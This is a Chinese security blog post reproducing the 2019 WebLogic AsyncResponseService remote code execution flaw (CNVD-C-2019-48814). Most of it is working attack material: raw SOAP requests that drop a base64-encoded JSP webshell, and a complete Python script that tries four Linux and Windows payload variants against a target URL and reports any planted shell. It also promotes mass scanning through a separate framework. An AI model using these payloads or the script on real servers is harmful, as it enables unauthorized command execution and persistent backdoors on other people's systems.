CNVD-C-2019-48814 Weblogic RCE复现及POC

文章最后更新时间为:2019年04月26日 21:25:52

和年前thinkphp5的rec一样,这次的weblogic rce也影响较大,趁着校内的CTF毫无头绪,先来复现一波。

0x01 本地复现

  • 目标机:win10/weblogic 12.1.3
  • 攻击机:win10本地

首先安装weblogic之后,访问本地http://127.0.0.1:7001/_async/AsyncResponseService如下:

当访问漏洞路径存在以上页面,即有可能存在漏洞。

接下来尝试写weblshell:

首先发送以下报文,用来写一个webshell.txt

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4=  > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

接着发送报文,将webshell.txt的内容解码写入webshell.jsp。

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

执行命令检测一下是否成功:

http://127.0.0.1:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami

同时本地weblogic的目录也可以看到生成的文件:

注意的是,上述写webshell的时候写的是默认路径servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/,当路径修改过时,则需要根据情况调整。

除了上面的直接写shell文件,还可以直接反弹shell,或者上传webshell,具体可参考https://www.jianshu.com/p/c4982a845f55

0x02 POC编写

为了方便直接采用写shell的方式,对于linux和windows都有两种写shell的方式,因为无法确定目标是windows还是linux,所以这里对每个目标都检验四次,速度相对来说比较慢,对于多个目标或者网段进行检验的时候,可以自己写多线程,直接调用poc函数即可

完整的poc脚本如下,也可看github:https://github.com/saucer-man/saucerframe/blob/master/scripts/weblogic_2019_48814.py

from urllib.parse import urlparse
import requests
import time

post_headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",
    "Content-Type": "text/xml",
    }
get_headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", 
}

def linux_check_1(url, webshell_path):
    linux_payload_1 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
        <soapenv:Header> 
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>/bin/bash</string>
        </void>
        <void index="1">
        <string>-c</string>
        </void>
        <void index="2">
        <string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell1.jsp</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>"""

    try:
        attack_url = url + '/_async/AsyncResponseService'
        requests.post(url=attack_url, data=linux_payload_1, headers=post_headers, timeout=5, verify=False)
        jsp_path = url + '/_async/webshell1.jsp'
        time.sleep(1)
        r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
        if r.status_code == 200:
            webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
        else:
            pass
            # print("第一种方式失败")
    except Exception as e:
        pass
        # print("第一种方式出错")
        # print(e)

def linux_check_2(url, webshell_path):
    linux_payload_2 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
        <soapenv:Header> 
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>/bin/bash</string>
        </void>
        <void index="1">
        <string>-c</string>
        </void>
        <void index="2">
        <string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell2.jsp</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>"""

    try:
        attack_url = url + '/_async/AsyncResponseService'
        requests.post(url=attack_url, data=linux_payload_2, headers=post_headers, timeout=5, verify=False)
        jsp_path = url + '/bea_wls_internal/webshell2.jsp'
        time.sleep(1)
        r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
        if r.status_code == 200:
            webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
        else:
            pass
            # print("第二种方式失败")
    except Exception as e:
        pass
        # print("第二种方式出错")
        # print(e)

def windows_check_1(url, webshell_path):
    windows_payload_1_1 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
        <soapenv:Header> 
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>cmd</string>
        </void>
        <void index="1">
        <string>/c</string>
        </void>
        <void index="2">
        <string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4=  > servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.txt</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>"""
    windows_payload_1_2 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
        <soapenv:Header> 
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>cmd</string>
        </void>
        <void index="1">
        <string>/c</string>
        </void>
        <void index="2">
        <string>certutil -decode servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.txt servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.jsp</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>"""
    try:
        attack_url = url + '/_async/AsyncResponseService'
        requests.post(url=attack_url, data=windows_payload_1_1, headers=post_headers, timeout=5, verify=False)
        time.sleep(1)
        requests.post(url=attack_url, data=windows_payload_1_2, headers=post_headers, timeout=5, verify=False)
        time.sleep(1)
        jsp_path = url + '/_async/webshell3.jsp'
        r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
        if r.status_code == 200:
            webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
        else:
            pass
            # print("第三种方式失败")
    except Exception as e:
        pass
        # print("第三种方式出错")
        # print(e)  

def windows_check_2(url, webshell_path):
    windows_payload_2_1 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
        <soapenv:Header> 
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>cmd</string>
        </void>
        <void index="1">
        <string>/c</string>
        </void>
        <void index="2">
        <string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4=  > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.txt</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>"""
    windows_payload_2_2 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
        <soapenv:Header> 
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>cmd</string>
        </void>
        <void index="1">
        <string>/c</string>
        </void>
        <void index="2">
        <string>certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.jsp</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>"""
    try:
        attack_url = url + '/_async/AsyncResponseService'
        requests.post(url=attack_url, data=windows_payload_2_1, headers=post_headers, timeout=5, verify=False)
        time.sleep(1)
        requests.post(url=attack_url, data=windows_payload_2_2, headers=post_headers, timeout=5, verify=False)
        time.sleep(1)
        jsp_path = url + '/bea_wls_internal/webshell4.jsp'
        r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
        if r.status_code == 200:
            webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
        else:
            pass
            # print("第四种方式失败")
    except Exception as e:
        pass
        # print("第四种方式出错")
        # print(e)    

def poc(url):
    # 首先对url进行处理
    # url = "http://www.example.org:7001/default.html?ct=32&op=92&item=98"
    # --> http://www.example.org:7001
    if url[:4] != "http":
        url = "http://" + url
    o = urlparse(url)
    url = o.scheme + "://" + o.netloc
    

    # 首先判断attack_url是否可访问
    try:
        attack_url = url + '/_async/AsyncResponseService'
        r = requests.get(url=attack_url, headers=get_headers, timeout=4, verify=False)
        if r.status_code != 200:
            return []
    except:
        return []

    # 因为不知道目标是linux还是windows,所以直接都检验一遍
    # 如果存在漏洞,则将shell路径保存在webshell_path中
    webshell_path = []
    linux_check_1(url, webshell_path)
    linux_check_2(url, webshell_path)
    windows_check_1(url, webshell_path)
    windows_check_2(url, webshell_path)

    return webshell_path

if __name__ =="__main__":
    start_time = time.time()
    url = "http://127.0.0.1:7001"
    webshell_path = poc(url)
    if len(webshell_path):
        print("shell路径: ")
        for i in webshell_path:
            print(i)
    else:
        print("Not Vulnable")
    print("\nscanned down with {}".format(time.time()-start_time))

运行结果如下:

测试网上的Linux靶机:

0x03 批量get

直接将poc挂在自写的poc框架下运行即可。

项目地址:https://github.com/saucer-man/saucerframe

运行结果:

  • 检验一下本地:

注意:本项目用来交流学习,切勿用来做违法之事

0x04 Reference

1 + 4 =
快来做第一个评论的人吧~